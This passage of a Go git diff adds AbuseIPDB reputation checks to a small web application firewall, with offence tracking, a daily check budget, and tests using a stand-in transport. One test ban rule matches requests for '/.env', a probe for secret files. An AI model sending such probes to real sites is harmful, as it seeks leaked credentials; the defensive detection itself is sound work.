DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL, + Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog, + Alerts: params.Alerts, + }) - return lists, dnsbl + m.AddReputation(lists, dnsbl) + + if cfg.AbuseIPDBKey != "" { + m.AddAbuseIPDB(abuseIPDB) + } + + return lists, dnsbl, abuseIPDB } // handler is the proxy. It holds what every request shares; what belongs @@ -221,6 +243,7 @@ type handler struct { lookupFile *lookup.File lists *reputation.Lists dnsbl *reputation.DNSBL + abuseIPDB *reputation.AbuseIPDB rules *rules.Files alerts *alerts.Queue } diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index 1236c7b..a83988d 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -268,7 +268,8 @@ func startProxyWithAlerts( // queue: they wait in it, for the test to look at. With no geojsURL, there // is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE // is off unless env sets it. While it is file, the lookup database -// SWWAF_LOOKUP_DB_PATH names is read. +// SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB +// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. func newProxy( t *testing.T, appURL, geojsURL string, now func() time.Time, env map[string]string, @@ -325,14 +326,15 @@ func newProxy( } server := proxy.New(proxy.Params{ - Config: cfg, - RequestLog: out, - ProcessLog: processLog, - GeoJSURL: geojsURL, - LookupFile: lookupFile, - Now: now, - Rules: ruleFiles, - Alerts: alertQueue, + Config: cfg, + RequestLog: out, + ProcessLog: processLog, + GeoJSURL: geojsURL, + AbuseIPDBURL: abuseIPDBURL, + LookupFile: lookupFile, + Now: now, + Rules: ruleFiles, + Alerts: alertQueue, }) return server, out, alertQueue diff --git a/internal/proxy/reputation.go b/internal/proxy/reputation.go index 047fa0e..b7770d0 100644 --- a/internal/proxy/reputation.go +++ b/internal/proxy/reputation.go @@ -4,8 +4,14 @@ import ( "context" "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/reputation" ) +// deny is the SWWAF_BLOCKLIST_ACTION and the SWWAF_REPUTATION_ACTION that +// refuses the requests of a client a source lists. +const deny = "deny" + // blocklistDenied notes the blocklists that list the client, as // noteListed does, and reports whether SWWAF_BLOCKLIST_ACTION, being deny, // refuses the request. Being limit, it lowers the client's limits instead @@ -15,7 +21,7 @@ func (rq *request) blocklistDenied() bool { rq.blocklisted = len(listedBy) > 0 rq.noteListed(listedBy, "listed by a blocklist") - return rq.blocklisted && rq.h.config.BlocklistAction == "deny" + return rq.blocklisted && rq.h.config.BlocklistAction == deny } // dnsblDenied notes the DNSBL zones whose verdict lists the client, as @@ -30,27 +36,63 @@ func (rq *request) dnsblDenied(ctx context.Context) bool { rq.dnsblListed = len(listedBy) > 0 rq.noteListed(listedBy, "listed by a DNSBL zone") - return rq.dnsblListed && rq.h.config.ReputationAction == "deny" + return rq.dnsblListed && rq.h.config.ReputationAction == deny } -// noteListed adds sources, the URLs of the blocklists or the DNSBL zones, -// their keys masked, that list the client, to the log line's reputation, -// counts each of them in the metrics, and raises a reputation_hit alert, -// with reason, for each. -func (rq *request) noteListed(sources []string, reason string) { - rq.line.Reputation = append(rq.line.Reputation, sources...) +// abuseIPDBDenied notes AbuseIPDB, as noteHit does, with the score, when +// its score of the client is a hit, and reports whether +// SWWAF_REPUTATION_ACTION, being deny, refuses the request, as dnsblDenied +// does for a zone. While SWWAF_ABUSEIPDB_KEY is unset it does nothing. A +// client without a score is checked in the background, by the request's +// address, if its history counts an offence, and the request does not +// wait for the answer. The score is then used for each address of the +// client. ctx is the request's own context. +func (rq *request) abuseIPDBDenied(ctx context.Context) bool { + if rq.h.config.AbuseIPDBKey == "" { + return false + } + client := clientGroup(rq.client) + held, _ := rq.h.limiter.Client(client) + offender := held.History.Offences != ratelimit.Offences{} + + score, hit := rq.h.abuseIPDB.Hit(ctx, client, rq.client, offender) + if !hit { + return false + } + + rq.abuseIPDBHit = true + rq.noteHit(reputation.AbuseIPDBSource, "scored by AbuseIPDB at or over "+ + "SWWAF_ABUSEIPDB_MIN_SCORE", map[string]any{ + "source": reputation.AbuseIPDBSource, "score": score, + }) + + return rq.h.config.ReputationAction == deny +} + +// noteListed notes each of sources, the URLs of the blocklists or the +// DNSBL zones, their keys masked, that list the client, as noteHit does, +// with reason, and the source in the alert's detail. +func (rq *request) noteListed(sources []string, reason string) { for _, source := range sources { - rq.h.metrics.ReputationHit(source) - rq.h.alerts.Raise(alerts.Alert{ - Event: alerts.EventReputationHit, - Client: rq.client, - Netblock: clientGroup(rq.client), - ASN: rq.line.ASN, - ASName: rq.line.ASName, - Country: rq.line.Country, - Reason: reason, - Detail: map[string]any{"source": source}, - }) + rq.noteHit(source, reason, map[string]any{"source": source}) } } + +// noteHit adds source, which lists the client, to the log line's +// reputation, counts it in the metrics, and raises a reputation_hit alert +// with reason and detail. +func (rq *request) noteHit(source, reason string, detail map[string]any) { + rq.line.Reputation = append(rq.line.Reputation, source) + rq.h.metrics.ReputationHit(source) + rq.h.alerts.Raise(alerts.Alert{ + Event: alerts.EventReputationHit, + Client: rq.client, + Netblock: clientGroup(rq.client), + ASN: rq.line.ASN, + ASName: rq.line.ASName, + Country: rq.line.Country, + Reason: reason, + Detail: detail, + }) +} diff --git a/internal/proxy/reputation_test.go b/internal/proxy/reputation_test.go index 21a210c..74fe682 100644 --- a/internal/proxy/reputation_test.go +++ b/internal/proxy/reputation_test.go @@ -1,16 +1,20 @@ package proxy_test import ( + "fmt" + "io" "maps" "net/http" "net/netip" "slices" + "strconv" "strings" "testing" "time" "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/requestlog" ) @@ -599,6 +603,277 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) { } } +// The AbuseIPDB settings, and accountKey, the key the tests set. +const ( + abuseIPDBKey = "SWWAF_ABUSEIPDB_KEY" + accountKey = "abuseipdb-key-0123456789abcdef" +) + +// abuseipdb is how the request log, the alerts and the metrics name +// AbuseIPDB. +const abuseipdb = reputation.AbuseIPDBSource + +// abuseIPDBURL is where newProxy has clients checked with AbuseIPDB: at +// abuseIPDBStandIn, which TestMain registers with Go's default transport, +// through which AbuseIPDB is asked. +const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check" + +// abuseIPDBStandIn is a stand-in for AbuseIPDB that gives every client the +// score 100, at once and without the network. +type abuseIPDBStandIn struct{} + +// RoundTrip answers req with the score 100. +func (abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) { + return &http.Response{ + StatusCode: http.StatusOK, + Status: "200 OK", + Header: http.Header{}, + Body: io.NopCloser(strings.NewReader(`{"data":{"abuseConfidenceScore":100}}`)), + Request: req, + }, nil +} + +func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(t *testing.T) { + t.Parallel() + + forward := requestlog.ActionForward + + s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{ + abuseIPDBKey: accountKey, rateLimitPerMinute: "2", reputationAction: actionLog, + }) + + // Neither fromDE, until it breaks a rate limit, nor fromKP, which never + // does, is checked, nor fromDE under the ban that makes. + s.get(fromDE, http.StatusOK, forward) + s.get(fromDE, http.StatusOK, forward) + s.get(fromKP, http.StatusOK, forward) + s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) + s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned) + wantAbuseIPDBChecks(t, server, 0) + + // Once the ban has ended, fromDE's first request has it checked in the + // background, and goes on without its score, which its next request + // finds. + clk.advance(time.Hour) + wantReputation(t, s.get(fromDE, http.StatusOK, forward)) + wantAbuseIPDBChecks(t, server, 1) + waitUntil(func() bool { return len(server.AbuseIPDB.Snapshot().Scores) == 1 }) + wantReputation(t, s.get(fromDE, http.StatusOK, forward), abuseipdb) + + s.get(fromKP, http.StatusOK, forward) + wantAbuseIPDBChecks(t, server, 1) +} + +func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing.T) { + t.Parallel() + + forward := requestlog.ActionForward + + // 15 addresses of 2001:db8:1:2::/64, one client, each in a part of it + // of its own. + var addresses []string + for i := 1; i < 16; i++ { + addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12)) + } + + s, clk, server := startWithClock(t, "", map[string]string{ + abuseIPDBKey: accountKey, reputationAction: actionLog, + rateLimitPerMinute: strconv.Itoa(len(addresses)), + }) + + // The client breaks the rate limit from its first address, which bans + // it for an hour. + for range addresses { + s.get(addresses[0], http.StatusOK, forward) + } + + s.get(addresses[0], http.StatusForbidden, requestlog.ActionRateLimited) + clk.advance(time.Hour) + + // Once the ban has ended, which set its counters back to zero, a + // request from each of its addresses has it checked once. + for _, address := range addresses { + s.get(address, http.StatusOK, forward) + } + + wantAbuseIPDBChecks(t, server, 1) +} + +// probePath is the path the ban rule of testRules, probe, matches. +const probePath = "/.env" + +func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + // path is what the client asks for, status and action what that + // request is answered and logged with, and want the offences its + // history then counts. + path string + status int + action string + want ratelimit.Offences + }{ + { + "a block rule", "/blocked", http.StatusForbidden, requestlog.ActionRuleBlocked, + ratelimit.Offences{RuleBlocked: 1}, + }, + { + "a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned, + ratelimit.Offences{Attack: 1}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + s, clk, server := startWithClock(t, "", map[string]string{ + abuseIPDBKey: accountKey, reputationAction: actionLog, + rulesDir: writeRules(t, testRules), attackBanDuration: "1h", + }) + + s.request(client, tc.path, tc.status, tc.action) + wantAbuseIPDBChecks(t, server, 0) + + if got := historyOf(t, server, client).Offences; got != tc.want { + t.Errorf("history counts the offences %+v, want %+v", got, tc.want) + } + + // Its next request, once a ban rule's ban has ended, has it + // checked. + clk.advance(time.Hour) + s.get(client, http.StatusOK, requestlog.ActionForward) + wantAbuseIPDBChecks(t, server, 1) + }) + } +} + +func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *testing.T) { + t.Parallel() + + forward, denied := requestlog.ActionForward, requestlog.ActionDenied + + for _, tc := range []struct { + action string + // statuses and actions are those of fromDE's three requests, and + // percent their limit_percent, as percentText gives it. + statuses []int + actions []string + percent string + }{ + { + actionDeny, []int{http.StatusForbidden, http.StatusForbidden, http.StatusForbidden}, + []string{denied, denied, denied}, none, + }, + { + // Half of 4 requests a minute: the third breaks the limit. + limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, + []string{forward, forward, requestlog.ActionRateLimited}, + "50 from " + reputationAction, + }, + { + actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK}, + []string{forward, forward, forward}, none, + }, + } { + t.Run(tc.action, func(t *testing.T) { + t.Parallel() + + s, server, _ := startWithLookups(t, map[string]string{ + rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey, + reputationAction: tc.action, + }) + // At SWWAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it. + loadScores(server, map[string]int64{fromDE: 75, fromKP: 74}) + + for i := range 3 { + line := s.get(fromDE, tc.statuses[i], tc.actions[i]) + wantReputation(t, line, abuseipdb) + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + tc.percent) + + // A request refused for the score is not counted. + counted := line.fields["counts"] != nil + if counted != (tc.actions[i] != denied) { + t.Errorf("request counted %t, logged %s", counted, tc.actions[i]) + } + } + + // fromKP's score is no hit, and it has the whole limit. + for range 3 { + line := s.get(fromKP, http.StatusOK, forward) + wantReputation(t, line) + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + none) + } + + // A refusal for the score makes no ban. + if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 { + t.Errorf("bans %+v, want none", held) + } + }) + } +} + +func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted( + t *testing.T, +) { + t.Parallel() + + s, server, queue := startWithLookups(t, map[string]string{ + abuseIPDBKey: accountKey, reputationAction: actionLog, metricsToken: token, + }) + loadScores(server, map[string]int64{fromDE: 90}) + + // The second request's alert is a repeat, which the cooldown holds back. + for range 2 { + wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), + abuseipdb) + } + + // The alert is made as a DNSBL zone's is, with the score besides. + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit || + waiting[0].Reason != "scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE" || + waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) || + queue.Suppressed() != 1 { + t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+ + "with the score 90, and 1", waiting, queue.Suppressed()) + } + + // The hits, and the checks, none, since no client committed an + // offence, so that the whole budget is left. + metrics := s.scrape(unplaced) + labels := `{instance="` + alertInstance + `",source="` + abuseipdb + `"}` + + wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 2) + wantMetric(t, metrics, "smallwebwaf_reputation_queries_total"+labels, 0) + wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0) + wantMetric(t, metrics, "smallwebwaf_reputation_daily_budget_remaining"+labels, 900) +} + +func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) { + t.Parallel() + + forward := requestlog.ActionForward + + s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{ + rateLimitPerMinute: "1", metricsToken: token, + }) + loadScores(server, map[string]int64{fromDE: 100}) + + // fromDE's score is not used, and once it has committed an offence it + // is not checked either. + wantReputation(t, s.get(fromDE, http.StatusOK, forward)) + s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) + clk.advance(time.Hour) + wantReputation(t, s.get(fromDE, http.StatusOK, forward)) + wantAbuseIPDBChecks(t, server, 0) + + wantNoSeries(t, s.scrape(unplaced), `smallwebwaf_reputation_daily_budget_remaining{`+ + `instance="`+alertInstance+`",source="`+abuseipdb+`"}`) +} + // listsFetched is when loadLists has the copies fetched. func listsFetched() time.Time { return time.Date(2026, 10, 5, 0, 0, 0, 0, time.UTC) @@ -631,6 +906,31 @@ func loadVerdicts(server *proxy.Server, listedBy map[string][]string) { server.DNSBL.Load(verdicts) } +// loadScores puts into server's AbuseIPDB the score scores gives each +// client, an IPv4 address, fetched at verdictsFetched, as reputation.json +// would at start. +func loadScores(server *proxy.Server, scores map[string]int64) { + kept := make([]reputation.Score, 0, len(scores)) + for client, score := range scores { + kept = append(kept, reputation.Score{ + Client: netip.MustParsePrefix(client + "/32"), Score: score, + Fetched: verdictsFetched(), + }) + } + + server.AbuseIPDB.Load(reputation.Checks{Scores: kept}) +} + +// wantAbuseIPDBChecks checks how many clients server has checked with +// AbuseIPDB. +func wantAbuseIPDBChecks(t *testing.T, server *proxy.Server, want int) { + t.Helper() + + if got := server.AbuseIPDB.Checked(); got != want { + t.Errorf("%d clients checked with AbuseIPDB, want %d", got, want) + } +} + // loadLists puts copies of lists into server's lists, by URL, each with // its lines, fetched at listsFetched, as reputation.json would at start. func loadLists(t *testing.T, server *proxy.Server, copies map[string][]string) { diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 7128a09..1b44749 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -63,10 +63,15 @@ type request struct { // limits and for the byte limits. counted bool limitPercent, bytesPercent percentage + // attack is true for a request that matched a ban rule, and + // ruleBlocked for one a block rule refused, each an offence its + // client's history counts. + attack, ruleBlocked bool // blocklisted is true once a blocklist is found to list the client, - // and dnsblListed once a DNSBL zone's verdict is. - blocklisted, dnsblListed bool - start time.Time + // dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once + // AbuseIPDB's score of it is a hit. + blocklisted, dnsblListed, abuseIPDBHit bool + start time.Time // checked is when the checks were done, and upstreamStart when the // request was handed to the app. checked time.Time @@ -217,13 +222,14 @@ func (rq *request) check(ctx context.Context) *refusal { // other client, SWWAF_DENY_NETS comes first, then a ban on its netblock, // so that a client either refuses is not looked up, then the lookup of // its AS number and country, then the country lists, then the blocklists, -// and then the DNSBL zones' verdicts; a request any of them refuses is not -// counted for the rate limits. Then come the rate limits, unless the -// client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the request's path is -// exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that every other request -// is counted, each of them by the client's limit percentages, and last the -// rule files. A request exempt from the rate limits is exempt from the -// byte limits too. ctx is the request's own context. +// then the DNSBL zones' verdicts, and then AbuseIPDB's score; a request +// any of them refuses is not counted for the rate limits. Then come the +// rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the +// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that +// every other request is counted, each of them by the client's limit +// percentages, and last the rule files. A request exempt from the rate +// limits is exempt from the byte limits too. ctx is the request's own +// context. func (rq *request) checkClient(ctx context.Context) string { cfg := rq.h.config if isInside(rq.client, cfg.AllowNets) { @@ -250,7 +256,7 @@ func (rq *request) checkClient(ctx context.Context) string { return requestlog.ActionDenied } - if rq.dnsblDenied(ctx) { + if rq.dnsblDenied(ctx) || rq.abuseIPDBDenied(ctx) { return requestlog.ActionDenied } @@ -540,6 +546,8 @@ func (rq *request) addToHistory() { RequestBytes: rq.requestBytes(), ResponseBytes: rq.out.bytes, BrokeLimit: rq.line.Offence == requestlog.OffenceLimit, + Attack: rq.attack, + RuleBlocked: rq.ruleBlocked, }) answer, found := rq.answerAtTheEnd() diff --git a/internal/proxy/rules.go b/internal/proxy/rules.go index b4d6f24..bad22fc 100644 --- a/internal/proxy/rules.go +++ b/internal/proxy/rules.go @@ -12,7 +12,8 @@ import ( // action of the rule that refuses it, ActionRuleBlocked for a block rule // and ActionBanned for a ban rule, or "" when none does. A ban rule bans // the client's netblock for a clear sign of attack, or in observe mode -// raises the alert for the ban it would have made. +// raises the alert for the ban it would have made. Either rule's match +// is noted as an offence, for the client's history. func (rq *request) checkRules(now time.Time) string { matched := rq.h.rules.Match(rq.in) @@ -28,8 +29,11 @@ func (rq *request) checkRules(now time.Time) string { // Only the last rule matched can refuse the request. switch last := matched[len(matched)-1]; last.Action { case rules.ActionBlock: + rq.ruleBlocked = true + return requestlog.ActionRuleBlocked case rules.ActionBan: + rq.attack = true rq.banForAttack(now, last) return requestlog.ActionBanned diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index fa91f97..0e68a18 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -117,9 +117,15 @@ type Responses struct { } // Offences are a client's offences, by kind. +// +//nolint:tagliatelle // the state files use snake_case, as the request log does type Offences struct { - // Limit is its requests that broke a rate limit or a byte limit. - Limit int64 `json:"limit"` + // Limit is its requests that broke a rate limit or a byte limit, + // Attack those that matched a ban rule, a clear sign of attack, and + // RuleBlocked those a block rule refused. + Limit int64 `json:"limit"` + Attack int64 `json:"attack"` + RuleBlocked int64 `json:"rule_blocked"` } // Request is what a client's history keeps of one of its requests. @@ -137,8 +143,11 @@ type Request struct { RequestBytes int64 ResponseBytes int64 // BrokeLimit is true for a request that broke a rate limit or a byte - // limit. - BrokeLimit bool + // limit, Attack for one that matched a ban rule, and RuleBlocked for + // one a block rule refused. + BrokeLimit bool + Attack bool + RuleBlocked bool } // New returns a Limiter for limits, with no client counted yet. @@ -258,6 +267,14 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) { if r.BrokeLimit { h.Offences.Limit++ } + + if r.Attack { + h.Offences.Attack++ + } + + if r.RuleBlocked { + h.Offences.RuleBlocked++ + } } // AddLookup gives client's history its AS number, AS name and country, as diff --git a/internal/reputation/abuseipdb.go b/internal/reputation/abuseipdb.go new file mode 100644 index 0000000..36c8741 --- /dev/null +++ b/internal/reputation/abuseipdb.go @@ -0,0 +1,328 @@ +package reputation + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "io" + "log/slog" + "net/http" + "net/netip" + "net/url" + "slices" + "sync" + "time" + + "github.com/hashicorp/golang-lru/v2/simplelru" + "sneak.berlin/go/smallwebwaf/internal/alerts" +) + +const ( + // AbuseIPDBURL is where clients are checked: the check endpoint of + // AbuseIPDB's API. + AbuseIPDBURL = "https://api.abuseipdb.com/api/v2/check" + // AbuseIPDBSource is how the request log, the alerts and the metrics + // name AbuseIPDB. + AbuseIPDBSource = "abuseipdb" + // maxAnswerBytes is the most of an answer of AbuseIPDB that is read. + maxAnswerBytes = 64 << 10 + // day is the length of the day the checks are counted in, in UTC. + day = 24 * time.Hour +) + +var ( + errNoScore = errors.New("the answer gives no abuseConfidenceScore") + errBudgetUsedUp = errors.New( + "checks spent; none is made until the day ends at 00:00 UTC") +) + +// Score is what AbuseIPDB said about a client, as reputation.json holds +// it: the client, an IPv4 address or an IPv6 group, its abuse confidence +// score, from 0 to 100, and when AbuseIPDB answered. +type Score struct { + Client netip.Prefix `json:"client"` + Score int64 `json:"score"` + Fetched time.Time `json:"fetched"` +} + +// Checks are what reputation.json keeps of the checks of clients with +// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the +// first, and the scores still in use. +type Checks struct { + Day time.Time `json:"day,omitzero"` + Spent int `json:"spent"` + Scores []Score `json:"scores"` +} + +// AbuseIPDBParams are what NewAbuseIPDB needs. +type AbuseIPDBParams struct { + // URL is where clients are checked, normally AbuseIPDBURL, with Key, + // the account's key (SWWAF_ABUSEIPDB_KEY). + URL string + Key string + // MinScore is the least score that is a hit (SWWAF_ABUSEIPDB_MIN_SCORE), + // and DailyBudget the most checks made in a day, in UTC + // (SWWAF_ABUSEIPDB_DAILY_BUDGET). + MinScore int64 + DailyBudget int + // CacheTTL is how long a score is used after it was fetched + // (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take + // (SWWAF_REPUTATION_TIMEOUT). + CacheTTL time.Duration + Timeout time.Duration + // Now tells the time, normally time.Now in UTC. + Now func() time.Time + // ProcessLog receives each check that fails, and why, and the day's + // budget used up. + ProcessLog *slog.Logger + // Alerts receive a source_failure alert for each. + Alerts *alerts.Queue +} + +// AbuseIPDB checks clients with AbuseIPDB, in the background, and keeps +// their scores. It is safe for concurrent use. +type AbuseIPDB struct { + params AbuseIPDBParams + httpClient *http.Client + + mu sync.Mutex + // scores are by client. Each is added as it is fetched and never moved + // up, so that the one fetched longest ago is the first dropped. + scores *simplelru.LRU[netip.Prefix, Score] + // checking are the clients whose check is under way. + checking map[netip.Prefix]bool + // day is the day, in UTC, of the checks spent counts. + day time.Time + spent int + // checks and failures count the checks made and those that failed, + // and retryAt is when a client may be checked again after the last + // check failed. + checks int + failures int + retryAt time.Time +} + +// NewAbuseIPDB returns an AbuseIPDB with no score yet, and no check spent. +func NewAbuseIPDB(params AbuseIPDBParams) *AbuseIPDB { + scores, err := simplelru.NewLRU[netip.Prefix, Score](maxVerdicts, nil) + if err != nil { + panic(err) // NewLRU fails only for a size below one + } + + return &AbuseIPDB{ + params: params, + httpClient: &http.Client{}, + scores: scores, + checking: map[netip.Prefix]bool{}, + } +} + +// Hit returns AbuseIPDB's score of client, an IPv4 address or an IPv6 +// group, and whether it is a hit: MinScore or more. A score is used until +// CacheTTL has passed since it was fetched, whichever of the client's +// addresses its request comes from. A client without one is checked in +// the background, by addr, the address its request came from, if +// offender, if it has committed an offence, unless its check is under +// way, a check failed less than failureDelay ago, or the day's checks +// have used up DailyBudget; Hit never waits for a check. The check that +// uses the budget up is logged and raised as a source_failure alert. ctx +// is the context of the client's request, and a check goes on after the +// request ends. +func (a *AbuseIPDB) Hit( + ctx context.Context, client netip.Prefix, addr netip.Addr, offender bool, +) (int64, bool) { + a.mu.Lock() + + now := a.params.Now() + + kept, found := a.scores.Peek(client) + if found && now.Sub(kept.Fetched) < a.params.CacheTTL { + a.mu.Unlock() + + return kept.Score, kept.Score >= a.params.MinScore + } + + if today := now.Truncate(day); !a.day.Equal(today) { + a.day, a.spent = today, 0 + } + + check := offender && !a.checking[client] && !now.Before(a.retryAt) && + a.spent < a.params.DailyBudget + if check { + a.checking[client] = true + a.checks++ + a.spent++ + + go a.check(context.WithoutCancel(ctx), client, addr) + } + + usedUp := check && a.spent == a.params.DailyBudget + + a.mu.Unlock() + + if usedUp { + a.alert("the daily budget of AbuseIPDB checks is used up", + fmt.Errorf("%d %w", a.params.DailyBudget, errBudgetUsedUp)) + } + + return 0, false +} + +// Checked returns how many checks were made. +func (a *AbuseIPDB) Checked() int { + a.mu.Lock() + defer a.mu.Unlock() + + return a.checks +} + +// Failures returns how many checks failed. +func (a *AbuseIPDB) Failures() int { + a.mu.Lock() + defer a.mu.Unlock() + + return a.failures +} + +// BudgetLeft returns how many checks the day's budget has left. +func (a *AbuseIPDB) BudgetLeft() int { + a.mu.Lock() + defer a.mu.Unlock() + + if !a.day.Equal(a.params.Now().Truncate(day)) { + return a.params.DailyBudget + } + + return max(a.params.DailyBudget-a.spent, 0) +} + +// Snapshot returns the checks spent and every score still in use, sorted +// by client, as reputation.json keeps them. +func (a *AbuseIPDB) Snapshot() Checks { + a.mu.Lock() + + now := a.params.Now() + checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())} + + for _, kept := range a.scores.Values() { + if now.Sub(kept.Fetched) < a.params.CacheTTL { + checks.Scores = append(checks.Scores, kept) + } + } + + a.mu.Unlock() + + slices.SortFunc(checks.Scores, func(x, y Score) int { + return x.Client.Compare(y.Client) + }) + + return checks +} + +// Load keeps checks, read from reputation.json, in place of those it +// keeps, but for the scores past maxVerdicts, those fetched longest ago. +// One fetched CacheTTL ago or more is neither used nor written, as for any +// score. +func (a *AbuseIPDB) Load(checks Checks) { + scores := slices.Clone(checks.Scores) + slices.SortStableFunc(scores, func(x, y Score) int { + return x.Fetched.Compare(y.Fetched) + }) + + a.mu.Lock() + defer a.mu.Unlock() + + a.day, a.spent = checks.Day, checks.Spent + a.scores.Purge() + + for _, kept := range scores { + a.scores.Add(kept.Client, kept) + } +} + +// check checks client with AbuseIPDB by addr, one of its addresses, keeps +// the score as client's, and notes the check as no longer under way. A +// check that fails gives no score: it is counted, logged and raised as a +// source_failure alert, and no client is checked for failureDelay. +func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) { + score, err := a.ask(ctx, addr) + now := a.params.Now() + + a.mu.Lock() + + delete(a.checking, client) + + if err == nil { + a.scores.Add(client, Score{Client: client, Score: score, Fetched: now}) + } else { + a.failures++ + a.retryAt = now.Add(failureDelay) + } + + a.mu.Unlock() + + if err != nil { + a.alert("checking a client with AbuseIPDB failed", err) + } +} + +// ask asks AbuseIPDB for addr's abuse confidence score, sending the key +// in the header Key. An answer other than 200, one that gives no score, +// and none within Timeout, fail. +func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) { + ctx, cancel := context.WithTimeout(ctx, a.params.Timeout) + defer cancel() + + query := url.Values{"ipAddress": {addr.String()}} + + req, err := http.NewRequestWithContext(ctx, http.MethodGet, + a.params.URL+"?"+query.Encode(), http.NoBody) + if err != nil { + return 0, fmt.Errorf("make the request: %w", err) + } + + req.Header.Set("Key", a.params.Key) + req.Header.Set("Accept", "application/json") + + res, err := a.httpClient.Do(req) + if err != nil { + // Do's error names the URL, which holds the client's address, which + // is not to be logged: only what went wrong is kept. + return 0, fmt.Errorf("check the client: %w", errors.Unwrap(err)) + } + + defer func() { + _ = res.Body.Close() + }() + + if res.StatusCode != http.StatusOK { + return 0, fmt.Errorf("%w %s", errStatus, res.Status) + } + + var answer struct { + Data struct { + AbuseConfidenceScore *int64 `json:"abuseConfidenceScore"` + } `json:"data"` + } + + err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer) + if err != nil { + return 0, fmt.Errorf("read the answer: %w", err) + } + + if answer.Data.AbuseConfidenceScore == nil { + return 0, errNoScore + } + + return *answer.Data.AbuseConfidenceScore, nil +} + +// alert raises a source_failure alert from AbuseIPDB with reason and err, +// and logs them. +func (a *AbuseIPDB) alert(reason string, err error) { + // Raised before it is logged, so that the alert is there once the log + // line is. + raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err) + a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error()) +} diff --git a/internal/reputation/abuseipdb_test.go b/internal/reputation/abuseipdb_test.go new file mode 100644 index 0000000..4297d61 --- /dev/null +++ b/internal/reputation/abuseipdb_test.go @@ -0,0 +1,663 @@ +package reputation_test + +import ( + "bytes" + "encoding/json" + "fmt" + "io" + "log/slog" + "net/http" + "net/http/httptest" + "net/netip" + "reflect" + "slices" + "strings" + "sync" + "testing" + "testing/synctest" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/metrics" + "sneak.berlin/go/smallwebwaf/internal/reputation" +) + +// The tests of AbuseIPDB run in synctest bubbles, as those of the lists +// do, and AbuseIPDB is a stand-in reached without the network, for the +// same reason. A bubble's clock starts at midnight UTC, as a day the +// checks are counted in starts. + +const ( + // key is the account's key the tests give, the only one the stand-in + // takes. + key = "abuseipdb-key-0123456789abcdef" + // suspect and other are clients that have committed an offence. + suspect = "203.0.113.9" + 